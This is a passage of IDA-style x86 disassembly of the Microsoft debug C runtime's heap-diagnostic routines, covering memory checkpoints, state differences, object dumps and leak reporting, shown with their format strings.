call sub_41AB10
add esp, 20h
cmp eax, 1
jnz short loc_416276
int 3 ; Trap to Debugger
loc_416276: ; CODE XREF: sub_415F70+303j
xor eax, eax
test eax, eax
jnz short loc_416249
loc_41627C: ; CODE XREF: sub_415F70+2D7j
; sub_415F70+33Dj
mov ecx, [ebp+var_8]
mov edx, [ecx+10h]
push edx
mov eax, [ebp+var_8]
add eax, 20h
push eax
mov ecx, [ebp+var_14]
push ecx
push offset aHsLocatedAt0x0 ; "%hs located at 0x%08X is %u bytes long."...
push 0
push 0
push 0
push 0
call sub_41AB10
add esp, 20h
cmp eax, 1
jnz short loc_4162A9
int 3 ; Trap to Debugger
loc_4162A9: ; CODE XREF: sub_415F70+336j
xor edx, edx
test edx, edx
jnz short loc_41627C
mov [ebp+var_4], 0
loc_4162B6: ; CODE XREF: sub_415F70+2CEj
jmp loc_4160C3
; ---------------------------------------------------------------------------
loc_4162BB: ; CODE XREF: sub_415F70+15Fj
push 9
call sub_41B820
add esp, 4
mov eax, [ebp+var_4]
loc_4162C8: ; CODE XREF: sub_415F70+21j
; sub_415F70+144j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_415F70 endp
; ---------------------------------------------------------------------------
off_4162CF dd offset loc_41605A ; DATA XREF: sub_415F70+68r
dd offset loc_416032
dd offset loc_41600A
dd offset loc_415FDF
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4162E0 proc near ; CODE XREF: sub_4179C0+A0p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, dword_443890
mov [ebp+var_4], eax
cmp [ebp+arg_0], 0FFFFFFFFh
jz short loc_4162FB
mov ecx, [ebp+arg_0]
mov dword_443890, ecx
loc_4162FB: ; CODE XREF: sub_4162E0+10j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4162E0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, dword_443890
and eax, 1
test eax, eax
jnz short loc_416322
jmp short loc_416373
; ---------------------------------------------------------------------------
loc_416322: ; CODE XREF: ___:0041631Ej
push 9
call sub_41B780
add esp, 4
mov ecx, dword_4DB0A0
mov [ebp-4], ecx
jmp short loc_41633F
; ---------------------------------------------------------------------------
loc_416337: ; CODE XREF: ___:loc_416367j
mov edx, [ebp-4]
mov eax, [edx]
mov [ebp-4], eax
loc_41633F: ; CODE XREF: ___:00416335j
cmp dword ptr [ebp-4], 0
jz short loc_416369
mov ecx, [ebp-4]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 4
jnz short loc_416367
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp-4]
add ecx, 20h
push ecx
call dword ptr [ebp+8]
add esp, 8
loc_416367: ; CODE XREF: ___:00416354j
jmp short loc_416337
; ---------------------------------------------------------------------------
loc_416369: ; CODE XREF: ___:00416343j
push 9
call sub_41B820
add esp, 4
loc_416373: ; CODE XREF: ___:00416320j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416380 proc near ; CODE XREF: sub_4163D0+19p
; ___:004164CAp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
jz short loc_4163BD
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
nop
call near ptr 2821B33h
test eax, eax
jnz short loc_4163BD
cmp [ebp+arg_8], 0
jz short loc_4163B4
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
nop
call near ptr 28215EBh
test eax, eax
jnz short loc_4163BD
loc_4163B4: ; CODE XREF: sub_416380+20j
mov [ebp+var_4], 1
jmp short loc_4163C4
; ---------------------------------------------------------------------------
loc_4163BD: ; CODE XREF: sub_416380+8j
; sub_416380+1Aj ...
mov [ebp+var_4], 0
loc_4163C4: ; CODE XREF: sub_416380+3Bj
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_416380 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4163D0 proc near ; CODE XREF: sub_4152A0+1AAp
; sub_415890+9Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
jnz short loc_4163DE
xor eax, eax
jmp short loc_416452
; ---------------------------------------------------------------------------
loc_4163DE: ; CODE XREF: sub_4163D0+8j
push 1
push 20h
mov eax, [ebp+arg_0]
sub eax, 20h
push eax
call sub_416380
add esp, 0Ch
test eax, eax
jnz short loc_4163F9
xor eax, eax
jmp short loc_416452
; ---------------------------------------------------------------------------
loc_4163F9: ; CODE XREF: sub_4163D0+23j
mov ecx, [ebp+arg_0]
sub ecx, 20h
push ecx
call sub_41BE80
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_416426
mov edx, [ebp+arg_0]
sub edx, 20h
push edx
mov eax, [ebp+var_4]
push eax
call sub_41BEE0
add esp, 8
jmp short loc_416452
; ---------------------------------------------------------------------------
loc_416426: ; CODE XREF: sub_4163D0+3Fj
mov ecx, dword_4DB0B0
and ecx, 8000h
test ecx, ecx
jz short loc_41643D
mov eax, 1
jmp short loc_416452
; ---------------------------------------------------------------------------
loc_41643D: ; CODE XREF: sub_4163D0+64j
mov edx, [ebp+arg_0]
sub edx, 20h
push edx
push 0
mov eax, dword_4DB7A0
push eax
nop
call near ptr 2830000h
loc_416452: ; CODE XREF: sub_4163D0+Cj
; sub_4163D0+27j ...
mov esp, ebp
pop ebp
retn
sub_4163D0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+8]
push eax
call sub_4163D0
add esp, 4
test eax, eax
jnz short loc_41647B
xor eax, eax
jmp loc_41653F
; ---------------------------------------------------------------------------
loc_41647B: ; CODE XREF: ___:00416472j
push 9
call sub_41B780
add esp, 4
mov ecx, [ebp+8]
sub ecx, 20h
mov [ebp-4], ecx
mov edx, [ebp-4]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 4
jz short loc_4164C0
mov ecx, [ebp-4]
cmp dword ptr [ecx+14h], 1
jz short loc_4164C0
mov edx, [ebp-4]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jz short loc_4164C0
mov ecx, [ebp-4]
cmp dword ptr [ecx+14h], 3
jnz short loc_416533
loc_4164C0: ; CODE XREF: ___:0041649Cj
; ___:004164A5j ...
push 1
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_416380
add esp, 0Ch
test eax, eax
jz short loc_416533
mov ecx, [ebp-4]
mov edx, [ecx+10h]
cmp edx, [ebp+0Ch]
jnz short loc_416533
mov eax, [ebp-4]
mov ecx, [eax+18h]
cmp ecx, dword_443894
jg short loc_416533
cmp dword ptr [ebp+10h], 0
jz short loc_416500
mov edx, [ebp+10h]
mov eax, [ebp-4]
mov ecx, [eax+18h]
mov [edx], ecx
loc_416500: ; CODE XREF: ___:004164F3j
cmp dword ptr [ebp+14h], 0
jz short loc_416511
mov edx, [ebp+14h]
mov eax, [ebp-4]
mov ecx, [eax+8]
mov [edx], ecx
loc_416511: ; CODE XREF: ___:00416504j
cmp dword ptr [ebp+18h], 0
jz short loc_416522
mov edx, [ebp+18h]
mov eax, [ebp-4]
mov ecx, [eax+0Ch]
mov [edx], ecx
loc_416522: ; CODE XREF: ___:00416515j
push 9
call sub_41B820
add esp, 4
mov eax, 1
jmp short loc_41653F
; ---------------------------------------------------------------------------
loc_416533: ; CODE XREF: ___:004164BEj
; ___:004164D4j ...
push 9
call sub_41B820
add esp, 4
xor eax, eax
loc_41653F: ; CODE XREF: ___:00416476j
; ___:00416531j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, dword_4DC7D4
mov [ebp-4], eax
mov ecx, [ebp+8]
mov dword_4DC7D4, ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416570 proc near ; CODE XREF: sub_416BF0+Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
cmp [ebp+arg_0], 0
jnz short loc_4165AA
loc_41657F: ; CODE XREF: sub_416570+33j
push offset a_crtmemcheckpo ; "_CrtMemCheckPoint: NULL state pointer.\n"...
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call sub_41AB10
add esp, 18h
cmp eax, 1
jnz short loc_41659F
int 3 ; Trap to Debugger
loc_41659F: ; CODE XREF: sub_416570+2Cj
xor eax, eax
test eax, eax
jnz short loc_41657F
jmp loc_4166D3
; ---------------------------------------------------------------------------
loc_4165AA: ; CODE XREF: sub_416570+Dj
push 9
call sub_41B780
add esp, 4
mov ecx, [ebp+arg_0]
mov edx, dword_4DB0A0
mov [ecx], edx
mov [ebp+var_4], 0
jmp short loc_4165D1
; ---------------------------------------------------------------------------
loc_4165C8: ; CODE XREF: sub_416570+83j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_4165D1: ; CODE XREF: sub_416570+56j
cmp [ebp+var_4], 5
jge short loc_4165F5
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov dword ptr [edx+ecx*4+18h], 0
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+eax*4+4], 0
jmp short loc_4165C8
; ---------------------------------------------------------------------------
loc_4165F5: ; CODE XREF: sub_416570+65j
mov edx, dword_4DB0A0
mov [ebp+var_8], edx
jmp short loc_416608
; ---------------------------------------------------------------------------
loc_416600: ; CODE XREF: sub_416570:loc_4166ACj
mov eax, [ebp+var_8]
mov ecx, [eax]
mov [ebp+var_8], ecx
loc_416608: ; CODE XREF: sub_416570+8Ej
cmp [ebp+var_8], 0
jz loc_4166B1
mov edx, [ebp+var_8]
mov eax, [edx+14h]
and eax, 0FFFFh
test eax, eax
jl short loc_416687
mov ecx, [ebp+var_8]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 5
jge short loc_416687
mov eax, [ebp+var_8]
mov ecx, [eax+14h]
and ecx, 0FFFFh
mov edx, [ebp+arg_0]
mov eax, [edx+ecx*4+4]
add eax, 1
mov ecx, [ebp+var_8]
mov edx, [ecx+14h]
and edx, 0FFFFh
mov ecx, [ebp+arg_0]
mov [ecx+edx*4+4], eax
mov edx, [ebp+var_8]
mov eax, [edx+14h]
and eax, 0FFFFh
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax*4+18h]
mov eax, [ebp+var_8]
add edx, [eax+10h]
mov ecx, [ebp+var_8]
mov eax, [ecx+14h]
and eax, 0FFFFh
mov ecx, [ebp+arg_0]
mov [ecx+eax*4+18h], edx
jmp short loc_4166AC
; ---------------------------------------------------------------------------
loc_416687: ; CODE XREF: sub_416570+AFj
; sub_416570+C0j ...
mov edx, [ebp+var_8]
push edx
push offset aBadMemoryBlock ; "Bad memory block found at 0x%08X.\n"
push 0
push 0
push 0
push 0
call sub_41AB10
add esp, 18h
cmp eax, 1
jnz short loc_4166A6
int 3 ; Trap to Debugger
loc_4166A6: ; CODE XREF: sub_416570+133j
xor eax, eax
test eax, eax
jnz short loc_416687
loc_4166AC: ; CODE XREF: sub_416570+115j
jmp loc_416600
; ---------------------------------------------------------------------------
loc_4166B1: ; CODE XREF: sub_416570+9Cj
mov ecx, [ebp+arg_0]
mov edx, dword_4DB0A8
mov [ecx+2Ch], edx
mov eax, [ebp+arg_0]
mov ecx, dword_4DB09C
mov [eax+30h], ecx
push 9
call sub_41B820
add esp, 4
loc_4166D3: ; CODE XREF: sub_416570+35j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_416570 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword ptr [ebp-8], 0
cmp dword ptr [ebp+8], 0
jz short loc_416702
cmp dword ptr [ebp+0Ch], 0
jz short loc_416702
cmp dword ptr [ebp+10h], 0
jnz short loc_416730
loc_416702: ; CODE XREF: ___:004166F4j
; ___:004166FAj ...
push offset a_crtmemdiffere ; "_CrtMemDifference: NULL state pointer.\n"...
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call sub_41AB10
add esp, 18h
cmp eax, 1
jnz short loc_416722
int 3 ; Trap to Debugger
loc_416722: ; CODE XREF: ___:0041671Fj
xor eax, eax
test eax, eax
jnz short loc_416702
mov eax, [ebp-8]
jmp loc_4167FC
; ---------------------------------------------------------------------------
loc_416730: ; CODE XREF: ___:00416700j
mov dword ptr [ebp-4], 0
jmp short loc_416742
; ---------------------------------------------------------------------------
loc_416739: ; CODE XREF: ___:loc_4167C7j
mov ecx, [ebp-4]
add ecx, 1
mov [ebp-4], ecx
loc_416742: ; CODE XREF: ___:00416737j
cmp dword ptr [ebp-4], 5
jge loc_4167CC
mov edx, [ebp-4]
mov eax, [ebp+10h]
mov ecx, [ebp-4]
mov esi, [ebp+0Ch]
mov edx, [eax+edx*4+18h]
sub edx, [esi+ecx*4+18h]
mov eax, [ebp-4]
mov ecx, [ebp+8]
mov [ecx+eax*4+18h], edx
mov edx, [ebp-4]
mov eax, [ebp+10h]
mov ecx, [ebp-4]
mov esi, [ebp+0Ch]
mov edx, [eax+edx*4+4]
sub edx, [esi+ecx*4+4]
mov eax, [ebp-4]
mov ecx, [ebp+8]
mov [ecx+eax*4+4], edx
mov edx, [ebp-4]
mov eax, [ebp+8]
cmp dword ptr [eax+edx*4+18h], 0
jnz short loc_4167A2
mov ecx, [ebp-4]
mov edx, [ebp+8]
cmp dword ptr [edx+ecx*4+4], 0
jz short loc_4167C7
loc_4167A2: ; CODE XREF: ___:00416793j
cmp dword ptr [ebp-4], 0
jz short loc_4167C7
cmp dword ptr [ebp-4], 2
jnz short loc_4167C0
cmp dword ptr [ebp-4], 2
jnz short loc_4167C7
mov eax, dword_443890
and eax, 10h
test eax, eax
jz short loc_4167C7
loc_4167C0: ; CODE XREF: ___:004167ACj
mov dword ptr [ebp-8], 1
loc_4167C7: ; CODE XREF: ___:004167A0j
; ___:004167A6j ...
jmp loc_416739
; ---------------------------------------------------------------------------
loc_4167CC: ; CODE XREF: ___:00416746j
mov ecx, [ebp+10h]
mov edx, [ebp+0Ch]
mov eax, [ecx+2Ch]
sub eax, [edx+2Ch]
mov ecx, [ebp+8]
mov [ecx+2Ch], eax
mov edx, [ebp+10h]
mov eax, [ebp+0Ch]
mov ecx, [edx+30h]
sub ecx, [eax+30h]
mov edx, [ebp+8]
mov [edx+30h], ecx
mov eax, [ebp+8]
mov dword ptr [eax], 0
mov eax, [ebp-8]
loc_4167FC: ; CODE XREF: ___:0041672Bj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416810 proc near ; CODE XREF: sub_416BF0+5Cp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_8], 0
push 9
call sub_41B780
add esp, 4
loc_41682A: ; CODE XREF: sub_416810+3Ej
push offset aDumpingObjects ; "Dumping objects ->\n"
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call sub_41AB10
add esp, 18h
cmp eax, 1
jnz short loc_41684A
int 3 ; Trap to Debugger
loc_41684A: ; CODE XREF: sub_416810+37j
xor eax, eax
test eax, eax
jnz short loc_41682A
cmp [ebp+arg_0], 0
jz short loc_41685E
mov ecx, [ebp+arg_0]
mov edx, [ecx]
mov [ebp+var_8], edx
loc_41685E: ; CODE XREF: sub_416810+44j
mov eax, dword_4DB0A0
mov [ebp+var_4], eax
jmp short loc_416870
; ---------------------------------------------------------------------------
loc_416868: ; CODE XREF: sub_416810:loc_416A8Dj
mov ecx, [ebp+var_4]
mov edx, [ecx]
mov [ebp+var_4], edx
loc_416870: ; CODE XREF: sub_416810+56j
cmp [ebp+var_4], 0
jz loc_416A92
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jz loc_416A92
mov ecx, [ebp+var_4]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 3
jz short loc_4168C4
mov eax, [ebp+var_4]
mov ecx, [eax+14h]
and ecx, 0FFFFh
test ecx, ecx
jz short loc_4168C4
mov edx, [ebp+var_4]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jnz short loc_4168C9
mov ecx, dword_443890
and ecx, 10h
test ecx, ecx
jnz short loc_4168C9
loc_4168C4: ; CODE XREF: sub_416810+85j
; sub_416810+95j
jmp loc_416A8D
; ---------------------------------------------------------------------------
loc_4168C9: ; CODE XREF: sub_416810+A5j
; sub_416810+B2j
mov edx, [ebp+var_4]
cmp dword ptr [edx+8], 0
jz short loc_416942
push 0
push 1
mov eax, [ebp+var_4]
mov ecx, [eax+8]
push ecx
call sub_416380
add esp, 0Ch
test eax, eax
jnz short loc_416913
loc_4168E9: ; CODE XREF: sub_416810+FFj
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
push eax
push offset aFileErrorD ; "#File Error#(%d) : "
push 0
push 0
push 0
push 0
call sub_41AB10
add esp, 18h
cmp eax, 1
jnz short loc_41690B
int 3 ; Trap to Debugger
loc_41690B: ; CODE XREF: sub_416810+F8j
xor ecx, ecx
test ecx, ecx
jnz short loc_4168E9
jmp short loc_416942
; ---------------------------------------------------------------------------
loc_416913: ; CODE XREF: sub_416810+D7j
; sub_416810+130j
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
push eax
mov ecx, [ebp+var_4]
mov edx, [ecx+8]
push edx
push offset aHsD ; "%hs(%d) : "
push 0
push 0
push 0
push 0
call sub_41AB10
add esp, 1Ch
cmp eax, 1
jnz short loc_41693C
int 3 ; Trap to Debugger
loc_41693C: ; CODE XREF: sub_416810+129j
xor eax, eax
test eax, eax
jnz short loc_416913
loc_416942: ; CODE XREF: sub_416810+C0j
; sub_416810+101j ...
mov ecx, [ebp+var_4]
mov edx, [ecx+18h]
push edx
push offset aLd ; "{%ld} "
push 0
push 0
push 0
push 0
call sub_41AB10
add esp, 18h
cmp eax, 1
jnz short loc_416964
int 3 ; Trap to Debugger
loc_416964: ; CODE XREF: sub_416810+151j
xor eax, eax
test eax, eax
jnz short loc_416942
mov ecx, [ebp+var_4]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 4
jnz short loc_4169EC
loc_41697B: ; CODE XREF: sub_416810+1A7j
mov eax, [ebp+var_4]
mov ecx, [eax+10h]
push ecx
mov edx, [ebp+var_4]
mov eax, [edx+14h]
sar eax, 10h
and eax, 0FFFFh
push eax
mov ecx, [ebp+var_4]
add ecx, 20h
push ecx
push offset aClientBlockAt0 ; "client block at 0x%08X, subtype %x, %u "...
push 0
push 0
push 0
push 0
call sub_41AB10
add esp, 20h
cmp eax, 1
jnz short loc_4169B3
int 3 ; Trap to Debugger
loc_4169B3: ; CODE XREF: sub_416810+1A0j
xor edx, edx
test edx, edx
jnz short loc_41697B
cmp dword_4DC7D4, 0
jz short loc_4169DB
mov eax, [ebp+var_4]
mov ecx, [eax+10h]
push ecx
mov edx, [ebp+var_4]
add edx, 20h
push edx
call dword_4DC7D4
add esp, 8
jmp short loc_4169E7
; ---------------------------------------------------------------------------
loc_4169DB: ; CODE XREF: sub_416810+1B0j
mov eax, [ebp+var_4]
push eax
call sub_416AD0
add esp, 4
loc_4169E7: ; CODE XREF: sub_416810+1C9j
jmp loc_416A8D
; ---------------------------------------------------------------------------
loc_4169EC: ; CODE XREF: sub_416810+169j
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+14h], 1
jnz short loc_416A32
loc_4169F5: ; CODE XREF: sub_416810+212j
mov edx, [ebp+var_4]
mov eax, [edx+10h]
push eax
mov ecx, [ebp+var_4]
add ecx, 20h
push ecx
push offset aNormalBlockAt0 ; "normal block at 0x%08X, %u bytes long.\n"...
push 0
push 0
push 0
push 0
call sub_41AB10
add esp, 1Ch
cmp eax, 1
jnz short loc_416A1E
int 3 ; Trap to Debugger
loc_416A1E: ; CODE XREF: sub_416810+20Bj
xor edx, edx
test edx, edx
jnz short loc_4169F5
mov eax, [ebp+var_4]
push eax
call sub_416AD0
add esp, 4
jmp short loc_416A8D
; ---------------------------------------------------------------------------
loc_416A32: ; CODE XREF: sub_416810+1E3j
mov ecx, [ebp+var_4]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 2
jnz short loc_416A8D
loc_416A43: ; CODE XREF: sub_416810+26Fj
mov eax, [ebp+var_4]
mov ecx, [eax+10h]
push ecx
mov edx, [ebp+var_4]
mov eax, [edx+14h]
sar eax, 10h
and eax, 0FFFFh
push eax
mov ecx, [ebp+var_4]
add ecx, 20h
push ecx
push offset aCrtBlockAt0x08 ; "crt block at 0x%08X, subtype %x, %u byt"...
push 0
push 0
push 0
push 0
call sub_41AB10
add esp, 20h
cmp eax, 1
jnz short loc_416A7B
int 3 ; Trap to Debugger
loc_416A7B: ; CODE XREF: sub_416810+268j
xor edx, edx
test edx, edx
jnz short loc_416A43
mov eax, [ebp+var_4]
push eax
call sub_416AD0
add esp, 4
loc_416A8D: ; CODE XREF: sub_416810:loc_4168C4j
; sub_416810:loc_4169E7j ...
jmp loc_416868
; ---------------------------------------------------------------------------
loc_416A92: ; CODE XREF: sub_416810+64j
; sub_416810+70j
push 9
call sub_41B820
add esp, 4
loc_416A9C: ; CODE XREF: sub_416810+2B0j
push offset aObjectDumpComp ; "Object dump complete.\n"
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call sub_41AB10
add esp, 18h
cmp eax, 1
jnz short loc_416ABC
int 3 ; Trap to Debugger
loc_416ABC: ; CODE XREF: sub_416810+2A9j
xor ecx, ecx
test ecx, ecx
jnz short loc_416A9C
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_416810 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416AD0 proc near ; CODE XREF: sub_416810+1CFp
; sub_416810+218p ...
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = byte ptr -48h
var_34 = byte ptr -34h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov [ebp+var_4C], 0
jmp short loc_416AEB
; ---------------------------------------------------------------------------
loc_416AE2: ; CODE XREF: sub_416AD0+D7j
mov eax, [ebp+var_4C]
add eax, 1
mov [ebp+var_4C], eax
loc_416AEB: ; CODE XREF: sub_416AD0+10j
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+10h], 10h
jge short loc_416AFF
mov edx, [ebp+arg_0]
mov eax, [edx+10h]
mov [ebp+var_54], eax
jmp short loc_416B06
; ---------------------------------------------------------------------------
loc_416AFF: ; CODE XREF: sub_416AD0+22j
mov [ebp+var_54], 10h
loc_416B06: ; CODE XREF: sub_416AD0+2Dj
mov ecx, [ebp+var_4C]
cmp ecx, [ebp+var_54]
jge loc_416BAC
mov edx, [ebp+arg_0]
add edx, [ebp+var_4C]
mov al, [edx+20h]
mov byte ptr [ebp+var_50], al
cmp dword_443B70, 1
jle short loc_416B43
push 157h
mov ecx, [ebp+var_50]
and ecx, 0FFh
push ecx
call sub_41DA90
add esp, 8
mov [ebp+var_58], eax
jmp short loc_416B60
; ---------------------------------------------------------------------------
loc_416B43: ; CODE XREF: sub_416AD0+55j
mov edx, [ebp+var_50]
and edx, 0FFh
mov eax, off_443C7C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 157h
mov [ebp+var_58], ecx
loc_416B60: ; CODE XREF: sub_416AD0+71j
cmp [ebp+var_58], 0
jz short loc_416B74
mov edx, [ebp+var_50]
and edx, 0FFh
mov [ebp+var_5C], edx
jmp short loc_416B7B
; ---------------------------------------------------------------------------
loc_416B74: ; CODE XREF: sub_416AD0+94j
mov [ebp+var_5C], 20h
loc_416B7B: ; CODE XREF: sub_416AD0+A2j
mov eax, [ebp+var_4C]
mov cl, byte ptr [ebp+var_5C]
mov [ebp+eax+var_48], cl
mov edx, [ebp+var_50]
and edx, 0FFh
push edx
push offset a_2x ; "%.2X "
mov eax, [ebp+var_4C]
imul eax, 3
lea ecx, [ebp+eax+var_34]
push ecx
call sub_4171D0
add esp, 0Ch
jmp loc_416AE2
; ---------------------------------------------------------------------------
loc_416BAC: ; CODE XREF: sub_416AD0+3Cj
mov edx, [ebp+var_4C]
mov [ebp+edx+var_48], 0
loc_416BB4: ; CODE XREF: sub_416AD0+10Bj
lea eax, [ebp+var_34]
push eax
lea ecx, [ebp+var_48]
push ecx
push offset aDataSS ; " Data: <%s> %s\n"
push 0
push 0
push 0
push 0
call sub_41AB10
add esp, 1Ch
cmp eax, 1
jnz short loc_416BD7
int 3 ; Trap to Debugger
loc_416BD7: ; CODE XREF: sub_416AD0+104j
xor edx, edx
test edx, edx
jnz short loc_416BB4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_416AD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416BF0 proc near ; CODE XREF: sub_4179C0+B9p
var_34 = byte ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
lea eax, [ebp+var_34]
push eax
call sub_416570
add esp, 4
cmp [ebp+var_20], 0
jnz short loc_416C24
cmp [ebp+var_2C], 0
jnz short loc_416C24
mov ecx, dword_443890
and ecx, 10h
test ecx, ecx
jz short loc_416C5B
cmp [ebp+var_28], 0
jz short loc_416C5B
loc_416C24: ; CODE XREF: sub_416BF0+19j
; sub_416BF0+1Fj ...
push offset aDetectedMemory ; "Detected memory leaks!\n"
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call sub_41AB10
add esp, 18h
cmp eax, 1
jnz short loc_416C44
int 3 ; Trap to Debugger
loc_416C44: ; CODE XREF: sub_416BF0+51j
xor edx, edx
test edx, edx
jnz short loc_416C24
push 0
call sub_416810
add esp, 4
mov eax, 1
jmp short loc_416C5D
; ---------------------------------------------------------------------------
loc_416C5B: ; CODE XREF: sub_416BF0+2Cj
; sub_416BF0+32j
xor eax, eax
loc_416C5D: ; CODE XREF: sub_416BF0+69j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_416BF0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
cmp dword ptr [ebp+8], 0
jnz short loc_416C82
jmp loc_416D2E
; ---------------------------------------------------------------------------
loc_416C82: ; CODE XREF: ___:00416C7Bj
mov dword ptr [ebp-4], 0
jmp short loc_416C94
; ---------------------------------------------------------------------------
loc_416C8B: ; CODE XREF: ___:00416CDCj
mov eax, [ebp-4]
add eax, 1
mov [ebp-4], eax
loc_416C94: ; CODE XREF: ___:00416C89j
cmp dword ptr [ebp-4], 5
jge short loc_416CDE
loc_416C9A: ; CODE XREF: ___:00416CDAj
mov ecx, [ebp-4]
mov edx, off_4438A0[ecx*4]
push edx
mov eax, [ebp-4]
mov ecx, [ebp+8]
mov edx, [ecx+eax*4+4]
push edx
mov eax, [ebp-4]
mov ecx, [ebp+8]
mov edx, [ecx+eax*4+18h]
push edx
push offset aLdBytesInLdHsB ; "%ld bytes in %ld %hs Blocks.\n"
push 0
push 0
push 0
push 0
call sub_41AB10
add esp, 20h
cmp eax, 1
jnz short loc_416CD6
int 3 ; Trap to Debugger
loc_416CD6: ; CODE XREF: ___:00416CD3j
xor eax, eax
test eax, eax
jnz short loc_416C9A
jmp short loc_416C8B
; ---------------------------------------------------------------------------
loc_416CDE: ; CODE XREF: ___:00416C98j
; ___:00416D04j
mov ecx, [ebp+8]
mov edx, [ecx+2Ch]
push edx
push offset aLargestNumberU ; "Largest number used: %ld bytes.\n"
push 0
push 0
push 0
push 0
call sub_41AB10
add esp, 18h
cmp eax, 1
jnz short loc_416D00
int 3 ; Trap to Debugger
loc_416D00: ; CODE XREF: ___:00416CFDj
xor eax, eax
test eax, eax
jnz short loc_416CDE
loc_416D06: ; CODE XREF: ___:00416D2Cj
mov ecx, [ebp+8]
mov edx, [ecx+30h]
push edx
push offset aTotalAllocatio ; "Total allocations: %ld bytes.\n"
push 0
push 0
push 0
push 0
call sub_41AB10
add esp, 18h
cmp eax, 1
jnz short loc_416D28
int 3 ; Trap to Debugger
loc_416D28: ; CODE XREF: ___:00416D25j
xor eax, eax
test eax, eax
jnz short loc_416D06
loc_416D2E: ; CODE XREF: ___:00416C7Dj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416D40 proc near ; CODE XREF: sub_4010AB+45p
; ___:0040D8ABp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_C]
push eax
call sub_418E90
add esp, 4
mov ecx, [ebp+arg_C]
push ecx
